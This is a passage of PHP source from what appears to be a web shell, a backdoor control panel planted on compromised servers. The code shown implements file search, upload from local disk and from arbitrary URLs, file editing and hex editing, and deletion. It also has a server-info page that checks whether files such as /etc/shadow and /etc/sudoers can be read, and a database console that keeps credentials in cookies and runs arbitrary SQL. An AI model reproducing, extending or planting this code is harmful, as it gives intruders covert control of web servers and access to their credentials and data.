</form>"; } elseif(isset($_GP[\'find\'])){ $s_p = $_GP[\'find\']; $s_type = isset($_GP[\'type\'])? $_GP[\'type\'] : "sfile"; $s_sfname = (!empty($_GP[\'sfname\']))? $_GP[\'sfname\']:\'\'; $s_sdname = (!empty($_GP[\'sdname\']))? $_GP[\'sdname\']:\'\'; $s_sfcontain = (!empty($_GP[\'sfcontain\']))? $_GP[\'sfcontain\']:\'\'; $s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = ""; $s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false; if(isset($_GP[\'sfnameregex\'])){ $s_sfnameregex=true; $s_sfnameregexchecked="checked"; } if(isset($_GP[\'sfnameicase\'])){ $s_sfnameicase=true; $s_sfnameicasechecked="checked"; } if(isset($_GP[\'sdnameregex\'])){ $s_sdnameregex=true; $s_sdnameregexchecked="checked"; } if(isset($_GP[\'sdnameicase\'])){ $s_sdnameicase=true; $s_sdnameicasechecked="checked"; } if(isset($_GP[\'sfcontainregex\'])){ $s_sfcontainregex=true; $s_sfcontainregexchecked="checked"; } if(isset($_GP[\'sfcontainicase\'])){ $s_sfcontainicase=true; $s_sfcontainicasechecked="checked"; } if(isset($_GP[\'swritable\'])){ $s_swritable=true; $s_swritablechecked="checked"; } if(isset($_GP[\'sreadable\'])){ $s_sreadable=true; $s_sreadablechecked="checked"; } if(isset($_GP[\'sexecutable\'])){ $s_sexecutable=true; $s_sexecutablechecked="checked"; } $s_sexecb = (function_exists("is_executable"))? "<input class=\'css-checkbox\' type=\'checkbox\' name=\'sexecutable\' value=\'sexecutable\' id=\'se\' ".$s_sexecutablechecked." /><label class=\'css-label\' for=\'se\'>Executable</span>":""; $s_candidate = array(); if(isset($_GP[\'sgo\'])){ $s_af = ""; $s_candidate = getallfiles($s_p); if($s_type==\'sfile\') $s_candidate = @array_filter($s_candidate, "is_file"); elseif($s_type==\'sdir\') $s_candidate = @array_filter($s_candidate, "is_dir"); foreach($s_candidate as $s_a){ if($s_type==\'sdir\'){ if(!empty($s_sdname)){ if($s_sdnameregex){ if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));} } else{ if($s_sdnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(strpos(basename($s_a), $s_sdname)===false) $s_candidate = array_diff($s_candidate, array($s_a));} } } } elseif($s_type==\'sfile\'){ if(!empty($s_sfname)){ if($s_sfnameregex){ if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));} } else{ if($s_sfnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(strpos(basename($s_a), $s_sfname)===false) $s_candidate = array_diff($s_candidate, array($s_a));} } } if(!empty($s_sfcontain)){ $s_sffcontent = @file_get_contents($s_a); if($s_sfcontainregex){ if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(!preg_match("/".$s_sfcontain."/", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));} } else{ if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent), strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate, array($s_a));} else{if(strpos($s_sffcontent, $s_sfcontain)===false) $s_candidate = array_diff($s_candidate, array($s_a));} } } } } } $s_f_result = ""; $s_link=""; foreach($s_candidate as $s_c){ $s_c = trim($s_c); if($s_swritable && !@is_writable($s_c)) continue; if($s_sreadable && !@is_readable($s_c)) continue; if($s_sexecutable && !@is_executable($s_c)) continue; if($s_type=="sfile") $s_link = $s_self."view=".$s_c; elseif($s_type=="sdir") $s_link = $s_self."view=".cp($s_c); $s_f_result .= "<p class=\'notif\' ondblclick=\"return go(\'".adds($s_link)."\',event);\"><a href=\'".$s_link."\'>".$s_c."</a></p>"; } $s_tsdir = ($s_type=="sdir")? "selected":""; $s_tsfile = ($s_type=="sfile")? "selected":""; if(!@is_dir($s_p)) $s_result .= notif("Cannot find the path specified ".$s_p); $s_result .= "<form action=\'".$s_self."\' method=\'post\'>
<div class=\'mybox\'><h2>Find</h2>
<table class=\'myboxtbl\'>
<tr><td style=\'width:140px;\'>Search in</td>
<td colspan=\'2\'><input style=\'width:100%;\' value=\'".$s_p."\' class=\'inputz\' type=\'text\' name=\'find\' /></td></tr>
<tr onclick=\"findtype(\'sdir\');\">
<td>Dirname contains</td>
<td style=\'width:400px;\'><input class=\'inputz\' style=\'width:100%;\' type=\'text\' name=\'sdname\' value=\'".$s_sdname."\' /></td>
<td>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sdnameregex\' id=\'sdn\' ".$s_sdnameregexchecked." /><label class=\'css-label\' for=\'sdn\'>Regex (pcre)</label>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sdnameicase\' id=\'sdi\' ".$s_sdnameicasechecked." /><label class=\'css-label\' for=\'sdi\'>Case Insensitive</label>
</td>
</tr>
<tr onclick=\"findtype(\'sfile\');\">
<td>Filename contains</td>
<td style=\'width:400px;\'><input class=\'inputz\' style=\'width:100%;\' type=\'text\' name=\'sfname\' value=\'".$s_sfname."\' /></td>
<td>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sfnameregex\' id=\'sfn\' ".$s_sfnameregexchecked." /><label class=\'css-label\' for=\'sfn\'>Regex (pcre)</label>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sfnameicase\' id=\'sfi\' ".$s_sfnameicasechecked." /><label class=\'css-label\' for=\'sfi\'>Case Insensitive</label>
</td>
</tr>
<tr onclick=\"findtype(\'sfile\');\">
<td>File contains</td>
<td style=\'width:400px;\'><input class=\'inputz\' style=\'width:100%;\' type=\'text\' name=\'sfcontain\' value=\'".$s_sfcontain."\' /></td>
<td>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sfcontainregex\' id=\'sff\' ".$s_sfcontainregexchecked." /><label class=\'css-label\' for=\'sff\'>Regex (pcre)</label>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sfcontainicase\' id=\'sffi\' ".$s_sfcontainicasechecked." /><label class=\'css-label\' for=\'sffi\'>Case Insensitive</label>
</td>
</tr>
<tr>
<td>Permissions</td>
<td colspan=\'2\'>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'swritable\' id=\'sw\' ".$s_swritablechecked." /><label class=\'css-label\' for=\'sw\'>Writable</label>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sreadable\' id=\'sr\' ".$s_sreadablechecked." /><label class=\'css-label\' for=\'sr\'>Readable</label>
".$s_sexecb."
</td>
</tr>
<tr><td>
<input type=\'submit\' name=\'sgo\' class=\'inputzbut\' value=\'Search !\' style=\'width:120px;height:30px;margin:0;\' />
</td>
<td>
<select name=\'type\' id=\'type\' class=\'inputzbut\' style=\'width:120px;height:30px;margin:0;padding:4px;\'>
<option value=\'sfile\' ".$s_tsfile.">Search file</option>
<option value=\'sdir\' ".$s_tsdir.">Search dir</option>
</select>
</td>
<td></td></tr>
</table>
</div>
</form>
<div>
".$s_f_result."
</div>"; } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'upload\')){ $s_result = " "; $s_msg = ""; if(isset($_GP[\'uploadhd\'])){ $c = count($_FILES[\'filepath\'][\'name\']); for($i = 0; $i<$c; $i++){ $s_fn = $_FILES[\'filepath\'][\'name\'][$i]; if(empty($s_fn)) continue; if(is_uploaded_file($_FILES[\'filepath\'][\'tmp_name\'][$i])){ $s_p = cp($_GP[\'savefolder\'][$i]); if(!@is_dir($s_p)) mkdir($s_p); if(isset($_GP[\'savefilename\'][$i]) && (trim($_GP[\'savefilename\'][$i])!="")) $s_fn = $_GP[\'savefilename\'][$i]; $s_tm = $_FILES[\'filepath\'][\'tmp_name\'][$i]; $s_pi = cp($s_p).$s_fn; $s_st = @move_uploaded_file($s_tm,$s_pi); if($s_st) $s_msg .= notif("File uploaded to <a href=\'".$s_self."view=".$s_pi."\'>".$s_pi."</a>"); else $s_msg .= notif("Failed to upload ".$s_fn); } else $s_msg .= notif("Failed to upload ".$s_fn); } } elseif(isset($_GP[\'uploadurl\'])){ $c = count($_GP[\'fileurl\']); for($i = 0; $i<$c; $i++){ $s_fu = $_GP[\'fileurl\'][$i]; if(empty($s_fu)) continue; $s_p = cp($_GP[\'savefolderurl\'][$i]); if(!@is_dir($s_p)) mkdir($s_p); $s_fn = basename($s_fu); if(isset($_GP[\'savefilenameurl\'][$i]) && (trim($_GP[\'savefilenameurl\'][$i])!="")) $s_fn = $_GP[\'savefilenameurl\'][$i]; $s_fp = cp($s_p).$s_fn; $s_st = dlfile($s_fu,$s_fp); if($s_st) $s_msg .= notif("File uploaded to <a href=\'".$s_self."view=".$s_fp."\'>".$s_fp."</a>"); else $s_msg .= notif("Failed to upload ".$s_fn); } } else{ if(!@is_writable($s_cwd)) $s_msg = notif("Directory ".$s_cwd." is not writable, please change to a writable one"); } if(!empty($s_msg)) $s_result .= $s_msg; $s_result .= "
<form action=\'".$s_self."\' method=\'post\' enctype=\'multipart/form-data\'>
<div class=\'mybox\'><h2><div class=\'but\' onclick=\'adduploadc();\'>+</div>Upload from computer</h2>
<table class=\'myboxtbl\'>
<tbody id=\'adduploadc\'>
<tr><td style=\'width:140px;\'>File</td><td><input type=\'file\' name=\'filepath[]\' class=\'inputzbut\' style=\'width:400px;margin:0;\' /></td></tr>
<tr><td>Save to</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefolder[]\' value=\'".$s_cwd."\' /></td></tr>
<tr><td>Filename (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefilename[]\' value=\'\' /></td></tr>
</tbody>
<tfoot>
<tr><td> </td><td>
<input type=\'submit\' name=\'uploadhd\' class=\'inputzbut\' value=\'Upload !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'x\' value=\'upload\' />
</td></tr>
</tfoot>
</table>
</div>
</form>
<form action=\'".$s_self."\' method=\'post\'>
<div class=\'mybox\'><h2><div class=\'but\' onclick=\'adduploadi();\'>+</div>Upload from internet</h2>
<table class=\'myboxtbl\'>
<tbody id=\'adduploadi\'>
<tr><td style=\'width:150px;\'>File URL</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'fileurl[]\' value=\'\' />
</td></tr>
<tr><td>Save to</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefolderurl[]\' value=\'".$s_cwd."\' /></td></tr>
<tr><td>Filename (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefilenameurl[]\' value=\'\' /></td></tr>
</tbody>
<tfoot>
<tr><td> </td><td>
<input type=\'submit\' name=\'uploadurl\' class=\'inputzbut\' value=\'Upload !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'x\' value=\'upload\' />
</td></tr>
</table>
</div>
</form>"; } elseif(isset($_GP[\'view\'])){ $s_f = $_GP[\'view\']; if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew; $s_owner = ""; if(@is_file($s_f)){ $targetdir = dirname($s_f); chdir($targetdir); $s_cwd = cp(getcwd()); setcookie("cwd", $s_cwd ,time() + $s_login_time); if(!$s_win && $s_posix){ $s_name = posix_getpwuid(fileowner($s_f)); $s_group = posix_getgrgid(filegroup($s_f)); $s_owner = "<tr><td>Owner</td><td>".$s_name[\'name\']."<span class=\'gaya\'>:</span>".$s_group[\'name\']."</td></tr>"; } $s_filn = basename($s_f); $s_dlfile = get_archiver_available(); $s_dlfile = str_replace("__dlpath__",$s_filn,$s_dlfile); $s_dlfile = str_replace("__dlcwd__",$s_cwd,$s_dlfile); $s_result .= "<table class=\'viewfile\' style=\'width:100%;\'>
<tr><td style=\'width:140px;\'>Filename</td><td><span id=\'".cs($s_filn)."_link\'>".$s_f."</span>
<div id=\'".cs($s_filn)."_form\' class=\'sembunyi\'>
<form action=\'".$s_self."\' method=\'post\'>
<input type=\'hidden\' name=\'oldname\' value=\'".$s_f."\' style=\'margin:0;padding:0;\' />
<input type=\'hidden\' name=\'view\' value=\'".$s_f."\' />
<input class=\'inputz\' style=\'width:200px;\' type=\'text\' name=\'rename\' value=\'".$s_f."\' />
<input class=\'inputzbut\' type=\'submit\' value=\'rename\' />
</form>
<input class=\'inputzbut\' type=\'button\' value=\'x\' onclick=\"tukar_(\'".cs($s_filn)."_form\',\'".cs($s_filn)."_link\');\" />
</div>
</td></tr>
<tr><td>Size</td><td>".gs($s_f)." (".@filesize($s_f).")</td></tr>
<tr><td>Permission</td><td>".gp($s_f)."</td></tr>
".$s_owner."
<tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($s_f))."</td></tr>
<tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($s_f))."</td></tr>
<tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($s_f))."</td></tr>
<tr><td>Actions</td><td>
<a href=\'".$s_self."edit=".$s_f."\' title=\'edit\'>edit</a> | <a href=\'".$s_self."hexedit=".$s_f."\' title=\'edit as hex\'>hex</a> | <a href=\"javascript:tukar_(\'".cs($s_filn)."_link\',\'".cs($s_filn)."_form\');\" title=\'rename\'>ren</a> | <a href=\'".$s_self."del=".$s_f."\' title=\'delete\'>del</a> ".$s_dlfile."
</td></tr>
<tr><td>View</td><td>
<a href=\'".$s_self."view=".$s_f."&type=text\'>text</a> | <a href=\'".$s_self."view=".$s_f."&type=code\'>code</a> | <a href=\'".$s_self."view=".$s_f."&type=image\'>image</a> | <a href=\'".$s_self."view=".$s_f."&type=audio\'>audio</a> | <a href=\'".$s_self."view=".$s_f."&type=video\'>video</a>
</td></tr>
</table>"; $s_t = ""; $s_mime = ""; $s_mime_list = gzinflate(base64_decode($s_mime_types)); $s_ext_pos = strrpos($s_f, "."); if($s_ext_pos!==false){ $s_ext = trim(substr($s_f, $s_ext_pos),"."); if(preg_match("/([^\s]+)\ .*".$s_ext.".*/i",$s_mime_list,$s_r)){ $s_mime = $s_r[1]; } } $s_iinfo = @getimagesize($s_f); if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code"; elseif(is_array($s_iinfo)) $s_t = \'image\'; elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/")); if(isset($_GP[\'type\'])) $s_t = $_GP[\'type\']; if($s_t=="image"){ $s_width = (int) $s_iinfo[0]; $s_height = (int) $s_iinfo[1]; $s_imginfo = "Image type = ( ".$s_iinfo[\'mime\']." )<br />
Image Size = <span class=\'gaul\'>( </span>".$s_width." x ".$s_height."<span class=\'gaul\'> )</span><br />"; if($s_width > 800){ $s_width = 800; $s_imglink = "<p><a href=\'".$s_self."img=".$s_filn."\'>
<span class=\'gaul\'>[ </span>view full size<span class=\'gaul\'> ]</span></a></p>"; } else $s_imglink = ""; $s_result .= "<div class=\'viewfilecontent\' style=\'text-align:center;\'>".$s_imglink."
<img width=\'".$s_width."\' src=\'".$s_self."img=".$s_filn."\' alt=\'".$s_filn."\' style=\'margin:8px auto;padding:0;border:0;\' /></div>"; } elseif($s_t=="code"){ $s_result .= "<div class=\"viewfilecontent\">"; $s_file = wordwrap(@file_get_contents($s_f),160,"
",true); $s_buff = highlight_string($s_file,true); $s_old = array("0000BB", "000000", "FF8000", "DD0000", "007700"); $s_new = ($s_theme=="bright")? $s_highlight_bright:$s_highlight_dark; $s_buff = str_replace($s_old,$s_new, $s_buff); $s_result .= $s_buff; $s_result .= "</div>"; } elseif($s_t=="audio" || $s_t=="video"){ $s_result .= "<div class=\'viewfilecontent\' style=\'text-align:center;\'>
<".$s_t." controls>
<source src=\'".$s_self."dltype=raw&dlpath=".$s_f."\' type=\'".$s_mime."\'>
<object data=\'".$s_self."dltype=raw&dlpath=".$s_f."\'>
<embed src=\'".$s_self."dltype=raw&dlpath=".$s_f."\'>
</object>
</".$s_t.">
</div>"; } else { $s_result .= "<pre style=\'padding: 3px 8px 0 8px;\' class=\'viewfilecontent\'>"; $s_result .= str_replace("<", "<",str_replace(">", ">",(wordwrap(@file_get_contents($s_f),160,"
",true)))); $s_result .= "</pre>"; } } elseif(@is_dir($s_f)){ chdir($s_f); $s_cwd = cp(getcwd()); setcookie("cwd", $s_cwd ,time() + $s_login_time); $s_result .= showdir($s_cwd); } else $s_result .= notif("Cannot find the path specified ".$s_f); } elseif(isset($_GP[\'edit\'])){ $s_f = $_GP[\'edit\']; $s_fc = ""; $s_fcs = ""; if(isset($_GP[\'new\']) && ($_GP[\'new\']==\'yes\')){ $s_num = 1; if(@is_file($s_f)){ $s_pos = strrpos($s_f,"_"); if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1); while(@is_file(substr($s_f,0,$s_pos)."_".$s_num)){ $s_num++; } $s_f = substr($s_f,0,$s_pos)."_".$s_num; } } else if(@is_file($s_f)) $s_fc = @file_get_contents($s_f); if(isset($_GP[\'fc\'])){ $s_fc = $_GP[\'fc\']; $s_eol = $_GP[\'eol\']; $s_eolf = pack("H*", geol($s_fc)); $s_eolh = pack("H*", $s_eol); $s_fc = str_replace($s_eolf, $s_eolh, $s_fc); if($s_filez = fopen($s_f,"w")){ $s_time = @date("d-M-Y H:i:s",time()); if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time; else $s_fcs = "Failed to save"; fclose($s_filez); } else $s_fcs = "Permission denied"; } elseif(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable"; $s_eol = geol($s_fc); if(!empty($s_fcs)) $s_result .= notif($s_fcs); $s_result .= "<form action=\'".$s_self."\' method=\'post\'>
<textarea id=\'fc\' name=\'fc\' class=\'txtarea\'>".hss($s_fc)."</textarea>
<p style=\'text-align:center;\'><input type=\'text\' class=\'inputz\' style=\'width:99%;\' name=\'edit\' value=\'".$s_f."\' /></p>
<p><input type=\'submit\' name=\'fcsubmit\' class=\'inputzbut\' value=\'Save !\' style=\'width:120px;height:30px;\' /></p>
<input type=\'hidden\' name=\'eol\' value=\'".$s_eol."\' />
</form>"; } elseif(isset($_GP[\'hexedit\'])){ $s_f = $_GP[\'hexedit\']; $s_fc = ""; $s_fcs = ""; $s_hexes = ""; $s_lnum = 0; if(!empty($_GP[\'hexes\']) || !empty($_GP[\'hexestxtarea\'])){ if(!empty($_GP[\'hexes\'])){ foreach($_GP[\'hexes\'] as $s_hex) $s_hexes .= str_replace(" ", "", $s_hex); } elseif(!empty($_GP[\'hexestxtarea\'])){ $s_hexes = trim($_GP[\'hexestxtarea\']); } if($s_filez = fopen($s_f,"w")){ $s_bins = pack("H*", $s_hexes); $s_time = @date("d-M-Y H:i:s", time()); if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time; else $s_fcs = "Failed to save"; fclose($s_filez); } else $s_fcs = "Permission denied"; } else if(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable"; if(!empty($s_fcs)) $s_result .= notif($s_fcs); $s_result .= "<form action=\'".$s_self."\' method=\'post\'>
<p style=\'padding:0;text-align:center;\'><input type=\'text\' class=\'inputz\' style=\'width:100%;\' name=\'hexedit\' value=\'".$s_f."\' /></p>
<p class=\'border-bottom\' style=\'padding:0 0 14px 0;\'><input type=\'submit\' name=\'fcsubmit\' class=\'inputzbut\' value=\'Save !\' style=\'width:120px;height:30px;\' onclick=\"return submithex();\" /></p>
<table class=\'explore\'>"; if(@is_file($s_f)){ $s_fp = fopen($s_f, "r"); if($s_fp) { $s_ldump = ""; $s_counter = 0; $s_icounter = 0; while(!feof($s_fp)){ $s_line = fread($s_fp, 32); $s_linehex = strtoupper(bin2hex($s_line)); $s_linex = str_split($s_linehex, 2); $s_linehex = implode(" ", $s_linex); $s_addr = sprintf("%08xh", $s_icounter); $s_result .= "<tr><td style=\'text-align:center;width:60px;\'>".$s_addr."</td><td style=\'text-align:left;width:594px;\'>
<input onselect=\'this.selectionEnd=this.selectionStart;\' onclick=\"hexupdate(\'".$s_counter."\',event);\" onkeydown=\"return hexfix(\'".$s_counter."\',event);\" onkeyup=\"hexupdate(\'".$s_counter."\',event);\" type=\'text\' class=\'inputz\' id=\'hex_".$s_counter."\' name=\'hexes[]\' value=\'".$s_linehex."\' style=\'width:578px;\' maxlength=\'".strlen($s_linehex)."\' /></td>
<td style=\'text-align:left;letter-spacing:2px;\'>
<pre name=\'hexdump\' id=\'dump_".$s_counter."\' style=\'margin:0;padding:0;\'></pre></td></tr>"; $s_counter++; $s_icounter+=32; } $s_result .= "<input type=\'hidden\' id=\'counter\' value=\'".$s_counter."\' />"; $s_result .= "<textarea name=\'hexestxtarea\' id=\'hexestxtarea\' class=\'sembunyi\'></textarea>"; fclose($s_fp); } } $s_result .= "</table></form>"; } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'info\')){ $s_result = ""; $s_result .= "<p class=\'notif\' onclick=\"toggle(\'info_server\')\">Server Info</p>"; $s_result .= "<div class=\'info\' id=\'info_server\'><table>"; if($s_win){ foreach (range("A", "Z") as $s_letter){ if((@is_dir($s_letter.":\") && @is_readable($s_letter.":\"))){ $s_drive = $s_letter.":"; $s_result .= "<tr><td>drive ".$s_drive."</td><td>".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."</td></tr>"; } } } else $s_result .= "<tr><td>root partition</td><td>".ts(@disk_free_space("/"))." free of ".ts(@disk_total_space("/"))."</td></tr>"; $s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>"; $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_gcc", "s_java", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl"); foreach($s_access as $s){ $s_t = explode("_", $s); if(isset($$s)) $s_result .= "<tr><td>".$s_t[1]."</td><td>".$$s."</td></tr>"; } if(!$s_win){ $s_interesting = array( "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf", "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", "/etc/ssh/sshd_config", "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); foreach($s_interesting as $s_f){ if(@is_file($s_f) && @is_readable($s_f)) $s_result .= "<tr><td>".$s_f."</td><td><a href=\'".$s_self."view=".$s_f."\'>".$s_f." is readable</a></td></tr>"; } } $s_result .= "</table></div>"; if(!$s_win){ if($s_i_buff=trim(@file_get_contents("/proc/cpuinfo"))){ $s_result .= "<p class=\'notif\' onclick=\"toggle(\'info_cpu\')\">CPU Info</p>"; $s_result .= "<div class=\'info\' id=\'info_cpu\'>"; $s_i_buffs = explode("
", $s_i_buff); foreach($s_i_buffs as $s_i_buffss){ $s_i_buffss = trim($s_i_buffss); if($s_i_buffss!=""){ $s_i_buffsss = explode("
", $s_i_buffss); $s_result .= "<table>"; foreach($s_i_buffsss as $s_i){ $s_i = trim($s_i); if($s_i!=""){ $s_ii = explode(":",$s_i); if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>"; } } $s_result .= "</table>"; } } $s_result .= "</div>"; } if($s_i_buff=trim(@file_get_contents("/proc/meminfo"))){ $s_result .= "<p class=\'notif\' onclick=\"toggle(\'info_mem\')\">Memory Info</p>"; $s_i_buffs = explode("
", $s_i_buff); $s_result .= "<div class=\'info\' id=\'info_mem\'><table>"; foreach($s_i_buffs as $s_i){ $s_i = trim($s_i); if($s_i!=""){ $s_ii = explode(":",$s_i); if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>"; } else $s_result .= "</table><table>"; } $s_result .= "</table></div>"; } if($s_i_buff=trim(@file_get_contents("/proc/partitions"))){ $s_i_buff = preg_replace("/\ +/", " ", $s_i_buff); $s_result .= "<p class=\'notif\' onclick=\"toggle(\'info_part\')\">Partitions Info</p>"; $s_result .= "<div class=\'info\' id=\'info_part\'>"; $s_i_buffs = explode("
", $s_i_buff); $s_result .= "<table><tr>"; $s_i_head = explode(" ", $s_i_buffs[0]); foreach($s_i_head as $s_h) $s_result .= "<th>".$s_h."</th>"; $s_result .= "</tr>"; $s_i_buffss = explode("
", $s_i_buffs[1]); foreach($s_i_buffss as $s_i_b){ $s_i_row = explode(" ", trim($s_i_b)); $s_result .= "<tr>"; foreach($s_i_row as $s_r) $s_result .= "<td style=\'text-align:center;\'>".$s_r."</td>"; $s_result .= "</tr>"; } $s_result .= "</table>"; $s_result .= "</div>"; } } $s_phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); foreach($s_phpinfo as $s_p=>$s_i){ $s_result .= "<p class=\'notif\' onclick=\"toggle(\'".$s_i."\')\">".$s_p."</p>"; ob_start(); eval("phpinfo(".$s_i.");"); $s_b = ob_get_contents(); ob_end_clean(); if(preg_match("/<body>(.*?)<\/body>/is", $s_b, $r)){ $s_body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]); $s_result .= "<div class=\'info\' id=\'".$s_i."\'>".$s_body."</div>"; } } } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'db\')){ $s_sql = array(); $s_sql_deleted = ""; $s_show_form = $s_show_dbs = true; if(isset($_GP[\'dc\'])){ $k = $_GP[\'dc\']; setcookie("c[".$k."]", "" ,time() - $s_login_time); $s_sql_deleted = $k; } if(isset($_COOKIE[\'c\']) && !isset($_GP[\'connect\'])){ foreach($_COOKIE[\'c\'] as $c=>$d){ if($c==$s_sql_deleted) continue; $s_dbcon = (function_exists("json_encode") && function_exists("json_decode"))? json_decode($d):unserialize($d); foreach($s_dbcon as $k=>$v) $s_sql[$k] = $v; $s_sqlport = (!empty($s_sql[\'port\']))? ":".$s_sql[\'port\']:""; $s_result .= notif("[".$s_sql[\'type\']."] ".$s_sql[\'user\']."@".$s_sql[\'host\'].$s_sqlport."
<span style=\'float:right;\'><a href=\'".$s_self."x=db&connect=connect&sqlhost=".$s_sql[\'host\']."&sqlport=".$s_sql[\'port\']."&sqluser=".$s_sql[\'user\']."&sqlpass=".$s_sql[\'pass\']."&sqltype=".$s_sql[\'type\']."\'>connect</a> | <a href=\'".$s_self."x=db&dc=".$c."\'>disconnect</a></span>"); } } else{ $s_sql[\'host\'] = isset($_GP[\'sqlhost\'])? $_GP[\'sqlhost\'] : ""; $s_sql[\'port\'] = isset($_GP[\'sqlport\'])? $_GP[\'sqlport\'] : ""; $s_sql[\'user\'] = isset($_GP[\'sqluser\'])? $_GP[\'sqluser\'] : ""; $s_sql[\'pass\'] = isset($_GP[\'sqlpass\'])? $_GP[\'sqlpass\'] : ""; $s_sql[\'type\'] = isset($_GP[\'sqltype\'])? $_GP[\'sqltype\'] : ""; } if(isset($_GP[\'connect\'])){ $s_con = sql_connect($s_sql[\'type\'],$s_sql[\'host\'],$s_sql[\'user\'],$s_sql[\'pass\']); $s_sqlcode = isset($_GP[\'sqlcode\'])? $_GP[\'sqlcode\'] : ""; if($s_con!==false){ if(isset($_GP[\'sqlinit\'])){ $s_sql_cookie = (function_exists("json_encode") && function_exists("json_decode"))? json_encode($s_sql):serialize($s_sql); $s_c_num = substr(md5(time().rand(0,100)),0,3); while(isset($_COOKIE[\'c\']) && is_array($_COOKIE[\'c\']) && array_key_exists($s_c_num, $_COOKIE[\'c\'])){ $s_c_num = substr(md5(time().rand(0,100)),0,3); } setcookie("c[".$s_c_num."]", $s_sql_cookie ,time() + $s_login_time); } $s_show_form = false; $s_result .= "<form action=\'".$s_self."\' method=\'post\'>
<input type=\'hidden\' name=\'sqlhost\' value=\'".$s_sql[\'host\']."\' />
<input type=\'hidden\' name=\'sqlport\' value=\'".$s_sql[\'port\']."\' />
<input type=\'hidden\' name=\'sqluser\' value=\'".$s_sql[\'user\']."\' />
<input type=\'hidden\' name=\'sqlpass\' value=\'".$s_sql[\'pass\']."\' />
<input type=\'hidden\' name=\'sqltype\' value=\'".$s_sql[\'type\']."\' />
<input type=\'hidden\' name=\'x\' value=\'db\' />
<input type=\'hidden\' name=\'connect\' value=\'connect\' />
<textarea id=\'sqlcode\' name=\'sqlcode\' class=\'txtarea\' style=\'height:150px;\'>".hss($s_sqlcode)."</textarea>
<p><input type=\'submit\' name=\'gogo\' class=\'inputzbut\' value=\'Go !\' style=\'width:120px;height:30px;\' />
